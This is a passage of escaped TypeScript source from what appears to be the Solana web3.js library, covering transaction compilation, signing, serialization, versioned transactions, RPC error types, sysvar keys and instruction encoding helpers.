x.isSigner ? -1 : 1;\n }\n if (x.isWritable !== y.isWritable) {\n // Writable accounts always come before read-only accounts\n return x.isWritable ? -1 : 1;\n }\n // Otherwise, sort by pubkey, stringwise.\n const options = {\n localeMatcher: 'best fit',\n usage: 'sort',\n sensitivity: 'variant',\n ignorePunctuation: false,\n numeric: false,\n caseFirst: 'lower',\n } as Intl.CollatorOptions;\n return x.pubkey\n .toBase58()\n .localeCompare(y.pubkey.toBase58(), 'en', options);\n });\n\n // Move fee payer to the front\n const feePayerIndex = uniqueMetas.findIndex(x => {\n return x.pubkey.equals(feePayer);\n });\n if (feePayerIndex > -1) {\n const [payerMeta] = uniqueMetas.splice(feePayerIndex, 1);\n payerMeta.isSigner = true;\n payerMeta.isWritable = true;\n uniqueMetas.unshift(payerMeta);\n } else {\n uniqueMetas.unshift({\n pubkey: feePayer,\n isSigner: true,\n isWritable: true,\n });\n }\n\n // Disallow unknown signers\n for (const signature of this.signatures) {\n const uniqueIndex = uniqueMetas.findIndex(x => {\n return x.pubkey.equals(signature.publicKey);\n });\n if (uniqueIndex > -1) {\n if (!uniqueMetas[uniqueIndex].isSigner) {\n uniqueMetas[uniqueIndex].isSigner = true;\n console.warn(\n 'Transaction references a signature that is unnecessary, ' +\n 'only the fee payer and instruction signer accounts should sign a transaction. ' +\n 'This behavior is deprecated and will throw an error in the next major version release.',\n );\n }\n } else {\n throw new Error(`unknown signer: ${signature.publicKey.toString()}`);\n }\n }\n\n let numRequiredSignatures = 0;\n let numReadonlySignedAccounts = 0;\n let numReadonlyUnsignedAccounts = 0;\n\n // Split out signing from non-signing keys and count header values\n const signedKeys: string[] = [];\n const unsignedKeys: string[] = [];\n uniqueMetas.forEach(({pubkey, isSigner, isWritable}) => {\n if (isSigner) {\n signedKeys.push(pubkey.toString());\n numRequiredSignatures += 1;\n if (!isWritable) {\n numReadonlySignedAccounts += 1;\n }\n } else {\n unsignedKeys.push(pubkey.toString());\n if (!isWritable) {\n numReadonlyUnsignedAccounts += 1;\n }\n }\n });\n\n const accountKeys = signedKeys.concat(unsignedKeys);\n const compiledInstructions: CompiledInstruction[] = instructions.map(\n instruction => {\n const {data, programId} = instruction;\n return {\n programIdIndex: accountKeys.indexOf(programId.toString()),\n accounts: instruction.keys.map(meta =>\n accountKeys.indexOf(meta.pubkey.toString()),\n ),\n data: bs58.encode(data),\n };\n },\n );\n\n compiledInstructions.forEach(instruction => {\n invariant(instruction.programIdIndex >= 0);\n instruction.accounts.forEach(keyIndex => invariant(keyIndex >= 0));\n });\n\n return new Message({\n header: {\n numRequiredSignatures,\n numReadonlySignedAccounts,\n numReadonlyUnsignedAccounts,\n },\n accountKeys,\n recentBlockhash,\n instructions: compiledInstructions,\n });\n }\n\n /**\n * @internal\n */\n _compile(): Message {\n const message = this.compileMessage();\n const signedKeys = message.accountKeys.slice(\n 0,\n message.header.numRequiredSignatures,\n );\n\n if (this.signatures.length === signedKeys.length) {\n const valid = this.signatures.every((pair, index) => {\n return signedKeys[index].equals(pair.publicKey);\n });\n\n if (valid) return message;\n }\n\n this.signatures = signedKeys.map(publicKey => ({\n signature: null,\n publicKey,\n }));\n\n return message;\n }\n\n /**\n * Get a buffer of the Transaction data that need to be covered by signatures\n */\n serializeMessage(): Buffer {\n return this._compile().serialize();\n }\n\n /**\n * Get the estimated fee associated with a transaction\n *\n * @param {Connection} connection Connection to RPC Endpoint.\n *\n * @returns {Promise<number | null>} The estimated fee for the transaction\n */\n async getEstimatedFee(connection: Connection): Promise<number | null> {\n return (await connection.getFeeForMessage(this.compileMessage())).value;\n }\n\n /**\n * Specify the public keys which will be used to sign the Transaction.\n * The first signer will be used as the transaction fee payer account.\n *\n * Signatures can be added with either `partialSign` or `addSignature`\n *\n * @deprecated Deprecated since v0.84.0. Only the fee payer needs to be\n * specified and it can be set in the Transaction constructor or with the\n * `feePayer` property.\n */\n setSigners(...signers: Array<PublicKey>) {\n if (signers.length === 0) {\n throw new Error('No signers');\n }\n\n const seen = new Set();\n this.signatures = signers\n .filter(publicKey => {\n const key = publicKey.toString();\n if (seen.has(key)) {\n return false;\n } else {\n seen.add(key);\n return true;\n }\n })\n .map(publicKey => ({signature: null, publicKey}));\n }\n\n /**\n * Sign the Transaction with the specified signers. Multiple signatures may\n * be applied to a Transaction. The first signature is considered \"primary\"\n * and is used identify and confirm transactions.\n *\n * If the Transaction `feePayer` is not set, the first signer will be used\n * as the transaction fee payer account.\n *\n * Transaction fields should not be modified after the first call to `sign`,\n * as doing so may invalidate the signature and cause the Transaction to be\n * rejected.\n *\n * The Transaction must be assigned a valid `recentBlockhash` before invoking this method\n *\n * @param {Array<Signer>} signers Array of signers that will sign the transaction\n */\n sign(...signers: Array<Signer>) {\n if (signers.length === 0) {\n throw new Error('No signers');\n }\n\n // Dedupe signers\n const seen = new Set();\n const uniqueSigners = [];\n for (const signer of signers) {\n const key = signer.publicKey.toString();\n if (seen.has(key)) {\n continue;\n } else {\n seen.add(key);\n uniqueSigners.push(signer);\n }\n }\n\n this.signatures = uniqueSigners.map(signer => ({\n signature: null,\n publicKey: signer.publicKey,\n }));\n\n const message = this._compile();\n this._partialSign(message, ...uniqueSigners);\n }\n\n /**\n * Partially sign a transaction with the specified accounts. All accounts must\n * correspond to either the fee payer or a signer account in the transaction\n * instructions.\n *\n * All the caveats from the `sign` method apply to `partialSign`\n *\n * @param {Array<Signer>} signers Array of signers that will sign the transaction\n */\n partialSign(...signers: Array<Signer>) {\n if (signers.length === 0) {\n throw new Error('No signers');\n }\n\n // Dedupe signers\n const seen = new Set();\n const uniqueSigners = [];\n for (const signer of signers) {\n const key = signer.publicKey.toString();\n if (seen.has(key)) {\n continue;\n } else {\n seen.add(key);\n uniqueSigners.push(signer);\n }\n }\n\n const message = this._compile();\n this._partialSign(message, ...uniqueSigners);\n }\n\n /**\n * @internal\n */\n _partialSign(message: Message, ...signers: Array<Signer>) {\n const signData = message.serialize();\n signers.forEach(signer => {\n const signature = sign(signData, signer.secretKey);\n this._addSignature(signer.publicKey, toBuffer(signature));\n });\n }\n\n /**\n * Add an externally created signature to a transaction. The public key\n * must correspond to either the fee payer or a signer account in the transaction\n * instructions.\n *\n * @param {PublicKey} pubkey Public key that will be added to the transaction.\n * @param {Buffer} signature An externally created signature to add to the transaction.\n */\n addSignature(pubkey: PublicKey, signature: Buffer) {\n this._compile(); // Ensure signatures array is populated\n this._addSignature(pubkey, signature);\n }\n\n /**\n * @internal\n */\n _addSignature(pubkey: PublicKey, signature: Buffer) {\n invariant(signature.length === 64);\n\n const index = this.signatures.findIndex(sigpair =>\n pubkey.equals(sigpair.publicKey),\n );\n if (index < 0) {\n throw new Error(`unknown signer: ${pubkey.toString()}`);\n }\n\n this.signatures[index].signature = Buffer.from(signature);\n }\n\n /**\n * Verify signatures of a Transaction\n * Optional parameter specifies if we're expecting a fully signed Transaction or a partially signed one.\n * If no boolean is provided, we expect a fully signed Transaction by default.\n *\n * @param {boolean} [requireAllSignatures=true] Require a fully signed Transaction\n */\n verifySignatures(requireAllSignatures: boolean = true): boolean {\n const signatureErrors = this._getMessageSignednessErrors(\n this.serializeMessage(),\n requireAllSignatures,\n );\n return !signatureErrors;\n }\n\n /**\n * @internal\n */\n _getMessageSignednessErrors(\n message: Uint8Array,\n requireAllSignatures: boolean,\n ): MessageSignednessErrors | undefined {\n const errors: MessageSignednessErrors = {};\n for (const {signature, publicKey} of this.signatures) {\n if (signature === null) {\n if (requireAllSignatures) {\n (errors.missing ||= []).push(publicKey);\n }\n } else {\n if (!verify(signature, message, publicKey.toBytes())) {\n (errors.invalid ||= []).push(publicKey);\n }\n }\n }\n return errors.invalid || errors.missing ? errors : undefined;\n }\n\n /**\n * Serialize the Transaction in the wire format.\n *\n * @param {Buffer} [config] Config of transaction.\n *\n * @returns {Buffer} Signature of transaction in wire format.\n */\n serialize(config?: SerializeConfig): Buffer {\n const {requireAllSignatures, verifySignatures} = Object.assign(\n {requireAllSignatures: true, verifySignatures: true},\n config,\n );\n\n const signData = this.serializeMessage();\n if (verifySignatures) {\n const sigErrors = this._getMessageSignednessErrors(\n signData,\n requireAllSignatures,\n );\n if (sigErrors) {\n let errorMessage = 'Signature verification failed.';\n if (sigErrors.invalid) {\n errorMessage += `\\nInvalid signature for public key${\n sigErrors.invalid.length === 1 ? '' : '(s)'\n } [\\`${sigErrors.invalid.map(p => p.toBase58()).join('`, `')}\\`].`;\n }\n if (sigErrors.missing) {\n errorMessage += `\\nMissing signature for public key${\n sigErrors.missing.length === 1 ? '' : '(s)'\n } [\\`${sigErrors.missing.map(p => p.toBase58()).join('`, `')}\\`].`;\n }\n throw new Error(errorMessage);\n }\n }\n\n return this._serialize(signData);\n }\n\n /**\n * @internal\n */\n _serialize(signData: Buffer): Buffer {\n const {signatures} = this;\n const signatureCount: number[] = [];\n shortvec.encodeLength(signatureCount, signatures.length);\n const transactionLength =\n signatureCount.length + signatures.length * 64 + signData.length;\n const wireTransaction = Buffer.alloc(transactionLength);\n invariant(signatures.length < 256);\n Buffer.from(signatureCount).copy(wireTransaction, 0);\n signatures.forEach(({signature}, index) => {\n if (signature !== null) {\n invariant(signature.length === 64, `signature has invalid length`);\n Buffer.from(signature).copy(\n wireTransaction,\n signatureCount.length + index * 64,\n );\n }\n });\n signData.copy(\n wireTransaction,\n signatureCount.length + signatures.length * 64,\n );\n invariant(\n wireTransaction.length <= PACKET_DATA_SIZE,\n `Transaction too large: ${wireTransaction.length} > ${PACKET_DATA_SIZE}`,\n );\n return wireTransaction;\n }\n\n /**\n * Deprecated method\n * @internal\n */\n get keys(): Array<PublicKey> {\n invariant(this.instructions.length === 1);\n return this.instructions[0].keys.map(keyObj => keyObj.pubkey);\n }\n\n /**\n * Deprecated method\n * @internal\n */\n get programId(): PublicKey {\n invariant(this.instructions.length === 1);\n return this.instructions[0].programId;\n }\n\n /**\n * Deprecated method\n * @internal\n */\n get data(): Buffer {\n invariant(this.instructions.length === 1);\n return this.instructions[0].data;\n }\n\n /**\n * Parse a wire transaction into a Transaction object.\n *\n * @param {Buffer | Uint8Array | Array<number>} buffer Signature of wire Transaction\n *\n * @returns {Transaction} Transaction associated with the signature\n */\n static from(buffer: Buffer | Uint8Array | Array<number>): Transaction {\n // Slice up wire data\n let byteArray = [...buffer];\n\n const signatureCount = shortvec.decodeLength(byteArray);\n let signatures = [];\n for (let i = 0; i < signatureCount; i++) {\n const signature = guardedSplice(byteArray, 0, SIGNATURE_LENGTH_IN_BYTES);\n signatures.push(bs58.encode(Buffer.from(signature)));\n }\n\n return Transaction.populate(Message.from(byteArray), signatures);\n }\n\n /**\n * Populate Transaction object from message and signatures\n *\n * @param {Message} message Message of transaction\n * @param {Array<string>} signatures List of signatures to assign to the transaction\n *\n * @returns {Transaction} The populated Transaction\n */\n static populate(\n message: Message,\n signatures: Array<string> = [],\n ): Transaction {\n const transaction = new Transaction();\n transaction.recentBlockhash = message.recentBlockhash;\n if (message.header.numRequiredSignatures > 0) {\n transaction.feePayer = message.accountKeys[0];\n }\n signatures.forEach((signature, index) => {\n const sigPubkeyPair = {\n signature:\n signature == bs58.encode(DEFAULT_SIGNATURE)\n ? null\n : bs58.decode(signature),\n publicKey: message.accountKeys[index],\n };\n transaction.signatures.push(sigPubkeyPair);\n });\n\n message.instructions.forEach(instruction => {\n const keys = instruction.accounts.map(account => {\n const pubkey = message.accountKeys[account];\n return {\n pubkey,\n isSigner:\n transaction.signatures.some(\n keyObj => keyObj.publicKey.toString() === pubkey.toString(),\n ) || message.isAccountSigner(account),\n isWritable: message.isAccountWritable(account),\n };\n });\n\n transaction.instructions.push(\n new TransactionInstruction({\n keys,\n programId: message.accountKeys[instruction.programIdIndex],\n data: bs58.decode(instruction.data),\n }),\n );\n });\n\n transaction._message = message;\n transaction._json = transaction.toJSON();\n\n return transaction;\n }\n}\n","import {AccountKeysFromLookups} from '../message/account-keys';\nimport assert from '../utils/assert';\nimport {toBuffer} from '../utils/to-buffer';\nimport {Blockhash} from '../blockhash';\nimport {Message, MessageV0, VersionedMessage} from '../message';\nimport {PublicKey} from '../publickey';\nimport {AddressLookupTableAccount} from '../programs';\nimport {AccountMeta, TransactionInstruction} from './legacy';\n\nexport type TransactionMessageArgs = {\n payerKey: PublicKey;\n instructions: Array<TransactionInstruction>;\n recentBlockhash: Blockhash;\n};\n\nexport type DecompileArgs =\n | {\n accountKeysFromLookups: AccountKeysFromLookups;\n }\n | {\n addressLookupTableAccounts: AddressLookupTableAccount[];\n };\n\nexport class TransactionMessage {\n payerKey: PublicKey;\n instructions: Array<TransactionInstruction>;\n recentBlockhash: Blockhash;\n\n constructor(args: TransactionMessageArgs) {\n this.payerKey = args.payerKey;\n this.instructions = args.instructions;\n this.recentBlockhash = args.recentBlockhash;\n }\n\n static decompile(\n message: VersionedMessage,\n args?: DecompileArgs,\n ): TransactionMessage {\n const {header, compiledInstructions, recentBlockhash} = message;\n\n const {\n numRequiredSignatures,\n numReadonlySignedAccounts,\n numReadonlyUnsignedAccounts,\n } = header;\n\n const numWritableSignedAccounts =\n numRequiredSignatures - numReadonlySignedAccounts;\n assert(numWritableSignedAccounts > 0, 'Message header is invalid');\n\n const numWritableUnsignedAccounts =\n message.staticAccountKeys.length -\n numRequiredSignatures -\n numReadonlyUnsignedAccounts;\n assert(numWritableUnsignedAccounts >= 0, 'Message header is invalid');\n\n const accountKeys = message.getAccountKeys(args);\n const payerKey = accountKeys.get(0);\n if (payerKey === undefined) {\n throw new Error(\n 'Failed to decompile message because no account keys were found',\n );\n }\n\n const instructions: TransactionInstruction[] = [];\n for (const compiledIx of compiledInstructions) {\n const keys: AccountMeta[] = [];\n\n for (const keyIndex of compiledIx.accountKeyIndexes) {\n const pubkey = accountKeys.get(keyIndex);\n if (pubkey === undefined) {\n throw new Error(\n `Failed to find key for account key index ${keyIndex}`,\n );\n }\n\n const isSigner = keyIndex < numRequiredSignatures;\n\n let isWritable;\n if (isSigner) {\n isWritable = keyIndex < numWritableSignedAccounts;\n } else if (keyIndex < accountKeys.staticAccountKeys.length) {\n isWritable =\n keyIndex - numRequiredSignatures < numWritableUnsignedAccounts;\n } else {\n isWritable =\n keyIndex - accountKeys.staticAccountKeys.length <\n // accountKeysFromLookups cannot be undefined because we already found a pubkey for this index above\n accountKeys.accountKeysFromLookups!.writable.length;\n }\n\n keys.push({\n pubkey,\n isSigner: keyIndex < header.numRequiredSignatures,\n isWritable,\n });\n }\n\n const programId = accountKeys.get(compiledIx.programIdIndex);\n if (programId === undefined) {\n throw new Error(\n `Failed to find program id for program id index ${compiledIx.programIdIndex}`,\n );\n }\n\n instructions.push(\n new TransactionInstruction({\n programId,\n data: toBuffer(compiledIx.data),\n keys,\n }),\n );\n }\n\n return new TransactionMessage({\n payerKey,\n instructions,\n recentBlockhash,\n });\n }\n\n compileToLegacyMessage(): Message {\n return Message.compile({\n payerKey: this.payerKey,\n recentBlockhash: this.recentBlockhash,\n instructions: this.instructions,\n });\n }\n\n compileToV0Message(\n addressLookupTableAccounts?: AddressLookupTableAccount[],\n ): MessageV0 {\n return MessageV0.compile({\n payerKey: this.payerKey,\n recentBlockhash: this.recentBlockhash,\n instructions: this.instructions,\n addressLookupTableAccounts,\n });\n }\n}\n","import * as BufferLayout from '@solana/buffer-layout';\n\nimport {Signer} from '../keypair';\nimport assert from '../utils/assert';\nimport {VersionedMessage} from '../message/versioned';\nimport {SIGNATURE_LENGTH_IN_BYTES} from './constants';\nimport * as shortvec from '../utils/shortvec-encoding';\nimport * as Layout from '../layout';\nimport {sign} from '../utils/ed25519';\nimport {PublicKey} from '../publickey';\nimport {guardedSplice} from '../utils/guarded-array-utils';\n\nexport type TransactionVersion = 'legacy' | 0;\n\n/**\n * Versioned transaction class\n */\nexport class VersionedTransaction {\n signatures: Array<Uint8Array>;\n message: VersionedMessage;\n\n get version(): TransactionVersion {\n return this.message.version;\n }\n\n constructor(message: VersionedMessage, signatures?: Array<Uint8Array>) {\n if (signatures !== undefined) {\n assert(\n signatures.length === message.header.numRequiredSignatures,\n 'Expected signatures length to be equal to the number of required signatures',\n );\n this.signatures = signatures;\n } else {\n const defaultSignatures = [];\n for (let i = 0; i < message.header.numRequiredSignatures; i++) {\n defaultSignatures.push(new Uint8Array(SIGNATURE_LENGTH_IN_BYTES));\n }\n this.signatures = defaultSignatures;\n }\n this.message = message;\n }\n\n serialize(): Uint8Array {\n const serializedMessage = this.message.serialize();\n\n const encodedSignaturesLength = Array<number>();\n shortvec.encodeLength(encodedSignaturesLength, this.signatures.length);\n\n const transactionLayout = BufferLayout.struct<{\n encodedSignaturesLength: Uint8Array;\n signatures: Array<Uint8Array>;\n serializedMessage: Uint8Array;\n }>([\n BufferLayout.blob(\n encodedSignaturesLength.length,\n 'encodedSignaturesLength',\n ),\n BufferLayout.seq(\n Layout.signature(),\n this.signatures.length,\n 'signatures',\n ),\n BufferLayout.blob(serializedMessage.length, 'serializedMessage'),\n ]);\n\n const serializedTransaction = new Uint8Array(2048);\n const serializedTransactionLength = transactionLayout.encode(\n {\n encodedSignaturesLength: new Uint8Array(encodedSignaturesLength),\n signatures: this.signatures,\n serializedMessage,\n },\n serializedTransaction,\n );\n\n return serializedTransaction.slice(0, serializedTransactionLength);\n }\n\n static deserialize(serializedTransaction: Uint8Array): VersionedTransaction {\n let byteArray = [...serializedTransaction];\n\n const signatures = [];\n const signaturesLength = shortvec.decodeLength(byteArray);\n for (let i = 0; i < signaturesLength; i++) {\n signatures.push(\n new Uint8Array(guardedSplice(byteArray, 0, SIGNATURE_LENGTH_IN_BYTES)),\n );\n }\n\n const message = VersionedMessage.deserialize(new Uint8Array(byteArray));\n return new VersionedTransaction(message, signatures);\n }\n\n sign(signers: Array<Signer>) {\n const messageData = this.message.serialize();\n const signerPubkeys = this.message.staticAccountKeys.slice(\n 0,\n this.message.header.numRequiredSignatures,\n );\n for (const signer of signers) {\n const signerIndex = signerPubkeys.findIndex(pubkey =>\n pubkey.equals(signer.publicKey),\n );\n assert(\n signerIndex >= 0,\n `Cannot sign with non signer key ${signer.publicKey.toBase58()}`,\n );\n this.signatures[signerIndex] = sign(messageData, signer.secretKey);\n }\n }\n\n addSignature(publicKey: PublicKey, signature: Uint8Array) {\n assert(signature.byteLength === 64, 'Signature must be 64 bytes long');\n const signerPubkeys = this.message.staticAccountKeys.slice(\n 0,\n this.message.header.numRequiredSignatures,\n );\n const signerIndex = signerPubkeys.findIndex(pubkey =>\n pubkey.equals(publicKey),\n );\n assert(\n signerIndex >= 0,\n `Can not add signature; \\`${publicKey.toBase58()}\\` is not required to sign this transaction`,\n );\n this.signatures[signerIndex] = signature;\n }\n}\n","// TODO: These constants should be removed in favor of reading them out of a\n// Syscall account\n\n/**\n * @internal\n */\nexport const NUM_TICKS_PER_SECOND = 160;\n\n/**\n * @internal\n */\nexport const DEFAULT_TICKS_PER_SLOT = 64;\n\n/**\n * @internal\n */\nexport const NUM_SLOTS_PER_SECOND =\n NUM_TICKS_PER_SECOND / DEFAULT_TICKS_PER_SLOT;\n\n/**\n * @internal\n */\nexport const MS_PER_SLOT = 1000 / NUM_SLOTS_PER_SECOND;\n","import {PublicKey} from './publickey';\n\nexport const SYSVAR_CLOCK_PUBKEY = new PublicKey(\n 'SysvarC1ock11111111111111111111111111111111',\n);\n\nexport const SYSVAR_EPOCH_SCHEDULE_PUBKEY = new PublicKey(\n 'SysvarEpochSchedu1e111111111111111111111111',\n);\n\nexport const SYSVAR_INSTRUCTIONS_PUBKEY = new PublicKey(\n 'Sysvar1nstructions1111111111111111111111111',\n);\n\nexport const SYSVAR_RECENT_BLOCKHASHES_PUBKEY = new PublicKey(\n 'SysvarRecentB1ockHashes11111111111111111111',\n);\n\nexport const SYSVAR_RENT_PUBKEY = new PublicKey(\n 'SysvarRent111111111111111111111111111111111',\n);\n\nexport const SYSVAR_REWARDS_PUBKEY = new PublicKey(\n 'SysvarRewards111111111111111111111111111111',\n);\n\nexport const SYSVAR_SLOT_HASHES_PUBKEY = new PublicKey(\n 'SysvarS1otHashes111111111111111111111111111',\n);\n\nexport const SYSVAR_SLOT_HISTORY_PUBKEY = new PublicKey(\n 'SysvarS1otHistory11111111111111111111111111',\n);\n\nexport const SYSVAR_STAKE_HISTORY_PUBKEY = new PublicKey(\n 'SysvarStakeHistory1111111111111111111111111',\n);\n","import {Connection} from './connection';\nimport {TransactionSignature} from './transaction';\n\nexport class SendTransactionError extends Error {\n private signature: TransactionSignature;\n private transactionMessage: string;\n private transactionLogs: string[] | Promise<string[]> | undefined;\n\n constructor({\n action,\n signature,\n transactionMessage,\n logs,\n }: {\n action: 'send' | 'simulate';\n signature: TransactionSignature;\n transactionMessage: string;\n logs?: string[];\n }) {\n const maybeLogsOutput = logs\n ? `Logs: \\n${JSON.stringify(logs.slice(-10), null, 2)}. `\n : '';\n const guideText =\n '\\nCatch the `SendTransactionError` and call `getLogs()` on it for full details.';\n let message: string;\n switch (action) {\n case 'send':\n message =\n `Transaction ${signature} resulted in an error. \\n` +\n `${transactionMessage}. ` +\n maybeLogsOutput +\n guideText;\n break;\n case 'simulate':\n message =\n `Simulation failed. \\nMessage: ${transactionMessage}. \\n` +\n maybeLogsOutput +\n guideText;\n break;\n default: {\n message = `Unknown action '${((a: never) => a)(action)}'`;\n }\n }\n super(message);\n\n this.signature = signature;\n this.transactionMessage = transactionMessage;\n this.transactionLogs = logs ? logs : undefined;\n }\n\n get transactionError(): {message: string; logs?: string[]} {\n return {\n message: this.transactionMessage,\n logs: Array.isArray(this.transactionLogs)\n ? this.transactionLogs\n : undefined,\n };\n }\n\n /* @deprecated Use `await getLogs()` instead */\n get logs(): string[] | undefined {\n const cachedLogs = this.transactionLogs;\n if (\n cachedLogs != null &&\n typeof cachedLogs === 'object' &&\n 'then' in cachedLogs\n ) {\n return undefined;\n }\n return cachedLogs;\n }\n\n async getLogs(connection: Connection): Promise<string[]> {\n if (!Array.isArray(this.transactionLogs)) {\n this.transactionLogs = new Promise((resolve, reject) => {\n connection\n .getTransaction(this.signature)\n .then(tx => {\n if (tx && tx.meta && tx.meta.logMessages) {\n const logs = tx.meta.logMessages;\n this.transactionLogs = logs;\n resolve(logs);\n } else {\n reject(new Error('Log messages not found'));\n }\n })\n .catch(reject);\n });\n }\n return await this.transactionLogs;\n }\n}\n\n// Keep in sync with client/src/rpc_custom_errors.rs\n// Typescript `enums` thwart tree-shaking. See https://bargsten.org/jsts/enums/\nexport const SolanaJSONRPCErrorCode = {\n JSON_RPC_SERVER_ERROR_BLOCK_CLEANED_UP: -32001,\n JSON_RPC_SERVER_ERROR_SEND_TRANSACTION_PREFLIGHT_FAILURE: -32002,\n JSON_RPC_SERVER_ERROR_TRANSACTION_SIGNATURE_VERIFICATION_FAILURE: -32003,\n JSON_RPC_SERVER_ERROR_BLOCK_NOT_AVAILABLE: -32004,\n JSON_RPC_SERVER_ERROR_NODE_UNHEALTHY: -32005,\n JSON_RPC_SERVER_ERROR_TRANSACTION_PRECOMPILE_VERIFICATION_FAILURE: -32006,\n JSON_RPC_SERVER_ERROR_SLOT_SKIPPED: -32007,\n JSON_RPC_SERVER_ERROR_NO_SNAPSHOT: -32008,\n JSON_RPC_SERVER_ERROR_LONG_TERM_STORAGE_SLOT_SKIPPED: -32009,\n JSON_RPC_SERVER_ERROR_KEY_EXCLUDED_FROM_SECONDARY_INDEX: -32010,\n JSON_RPC_SERVER_ERROR_TRANSACTION_HISTORY_NOT_AVAILABLE: -32011,\n JSON_RPC_SCAN_ERROR: -32012,\n JSON_RPC_SERVER_ERROR_TRANSACTION_SIGNATURE_LEN_MISMATCH: -32013,\n JSON_RPC_SERVER_ERROR_BLOCK_STATUS_NOT_AVAILABLE_YET: -32014,\n JSON_RPC_SERVER_ERROR_UNSUPPORTED_TRANSACTION_VERSION: -32015,\n JSON_RPC_SERVER_ERROR_MIN_CONTEXT_SLOT_NOT_REACHED: -32016,\n} as const;\nexport type SolanaJSONRPCErrorCodeEnum =\n (typeof SolanaJSONRPCErrorCode)[keyof typeof SolanaJSONRPCErrorCode];\n\nexport class SolanaJSONRPCError extends Error {\n code: SolanaJSONRPCErrorCodeEnum | unknown;\n data?: any;\n constructor(\n {\n code,\n message,\n data,\n }: Readonly<{code: unknown; message: string; data?: any}>,\n customMessage?: string,\n ) {\n super(customMessage != null ? `${customMessage}: ${message}` : message);\n this.code = code;\n this.data = data;\n this.name = 'SolanaJSONRPCError';\n }\n}\n","import {Connection, SignatureResult} from '../connection';\nimport {Transaction} from '../transaction';\nimport type {ConfirmOptions} from '../connection';\nimport type {Signer} from '../keypair';\nimport type {TransactionSignature} from '../transaction';\nimport {SendTransactionError} from '../errors';\n\n/**\n * Sign, send and confirm a transaction.\n *\n * If `commitment` option is not specified, defaults to 'max' commitment.\n *\n * @param {Connection} connection\n * @param {Transaction} transaction\n * @param {Array<Signer>} signers\n * @param {ConfirmOptions} [options]\n * @returns {Promise<TransactionSignature>}\n */\nexport async function sendAndConfirmTransaction(\n connection: Connection,\n transaction: Transaction,\n signers: Array<Signer>,\n options?: ConfirmOptions &\n Readonly<{\n // A signal that, when aborted, cancels any outstanding transaction confirmation operations\n abortSignal?: AbortSignal;\n }>,\n): Promise<TransactionSignature> {\n const sendOptions = options && {\n skipPreflight: options.skipPreflight,\n preflightCommitment: options.preflightCommitment || options.commitment,\n maxRetries: options.maxRetries,\n minContextSlot: options.minContextSlot,\n };\n\n const signature = await connection.sendTransaction(\n transaction,\n signers,\n sendOptions,\n );\n\n let status: SignatureResult;\n if (\n transaction.recentBlockhash != null &&\n transaction.lastValidBlockHeight != null\n ) {\n status = (\n await connection.confirmTransaction(\n {\n abortSignal: options?.abortSignal,\n signature: signature,\n blockhash: transaction.recentBlockhash,\n lastValidBlockHeight: transaction.lastValidBlockHeight,\n },\n options && options.commitment,\n )\n ).value;\n } else if (\n transaction.minNonceContextSlot != null &&\n transaction.nonceInfo != null\n ) {\n const {nonceInstruction} = transaction.nonceInfo;\n const nonceAccountPubkey = nonceInstruction.keys[0].pubkey;\n status = (\n await connection.confirmTransaction(\n {\n abortSignal: options?.abortSignal,\n minContextSlot: transaction.minNonceContextSlot,\n nonceAccountPubkey,\n nonceValue: transaction.nonceInfo.nonce,\n signature,\n },\n options && options.commitment,\n )\n ).value;\n } else {\n if (options?.abortSignal != null) {\n console.warn(\n 'sendAndConfirmTransaction(): A transaction with a deprecated confirmation strategy was ' +\n 'supplied along with an `abortSignal`. Only transactions having `lastValidBlockHeight` ' +\n 'or a combination of `nonceInfo` and `minNonceContextSlot` are abortable.',\n );\n }\n status = (\n await connection.confirmTransaction(\n signature,\n options && options.commitment,\n )\n ).value;\n }\n\n if (status.err) {\n if (signature != null) {\n throw new SendTransactionError({\n action: 'send',\n signature: signature,\n transactionMessage: `Status: (${JSON.stringify(status)})`,\n });\n }\n throw new Error(\n `Transaction ${signature} failed (${JSON.stringify(status)})`,\n );\n }\n\n return signature;\n}\n","// zzz\nexport function sleep(ms: number): Promise<void> {\n return new Promise(resolve => setTimeout(resolve, ms));\n}\n","import {Buffer} from 'buffer';\nimport * as BufferLayout from '@solana/buffer-layout';\n\nimport * as Layout from './layout';\n\nexport interface IInstructionInputData {\n readonly instruction: number;\n}\n\n/**\n * @internal\n */\nexport type InstructionType<TInputData extends IInstructionInputData> = {\n /** The Instruction index (from solana upstream program) */\n index: number;\n /** The BufferLayout to use to build data */\n layout: BufferLayout.Layout<TInputData>;\n};\n\n/**\n * Populate a buffer of instruction data using an InstructionType\n * @internal\n */\nexport function encodeData<TInputData extends IInstructionInputData>(\n type: InstructionType<TInputData>,\n fields?: any,\n): Buffer {\n const allocLength =\n type.layout.span >= 0 ? type.layout.span : Layout.getAlloc(type, fields);\n const data = Buffer.alloc(allocLength);\n const layoutFields = Object.assign({instruction: type.index}, fields);\n type.layout.encode(layoutFields, data);\n return data;\n}\n\n/**\n * Decode instruction data buffer using an InstructionType\n * @internal\n */\nexport function decodeData<TInputData extends IInstructionInputData>(\n type: InstructionType<TInputData>,\n buffer: Buffer,\n): TInputData {\n let data: TInputData;\n try {\n data = type.layout.decode(buffer);\n } catch (err) {\n throw new Error('invalid instruction; ' + err);\n }\n\n if (data.instruction !== type.index) {\n throw new Error(\n `invalid instruction; instruction index mismatch ${data.instruction} != ${type.index}`,\n );\n }\n\n return data;\n}\n","import * as BufferLayout from '@solana/buffer-layout';\n\n/**\n * https://github.com/solana-labs/solana/blob/90bedd7e067b5b8f3ddbb45da00a4e9cabb22c62/sdk/src/fee_calculator.rs#L7-L11\n *\n * @internal\n */\nexport const FeeCalculatorLayout = BufferLayout.nu64('lamportsPerSignature');\n\n/**\n * Calculator for transaction fees.\n *\n * @deprecated Deprecated since Solana v1.8.0.\n */\nexport interface FeeCalculator {\n /** Cost in lamports to validate a signature. */\n lamportsPerSignature: number;\n}\n","import * as BufferLayout from '@solana/buffer-layout';\nimport {Buffer} from 'buffer';\n\nimport * as Layout from './layout';\nimport {PublicKey} from './publickey';\nimport type {FeeCalculator} from './fee-calculator';\nimport {FeeCalculatorLayout} from './fee-calculator';\nimport {toBuffer} from './utils/to-buffer';\n\n/**\n * See https://github.com/solana-labs/solana/blob/0ea2843ec9cdc517572b8e62c959f41b55cf4453/sdk/src/nonce_state.rs#L29-L32\n *\n * @internal\n */\nconst NonceAccountLayout = BufferLayout.struct<\n Readonly<{\n authorizedPubkey: Uint8Array;\n feeCalculator: Readonly<{\n lamportsPerSignature: number;\n }>;\n nonce: Uint8Array;\n state: number;\n version: number;\n }>\n>([\n BufferLayout.u32('version'),\n BufferLayout.u32('state'),\n Layout.publicKey('authorizedPubkey'),\n Layout.publicKey('nonce'),\n 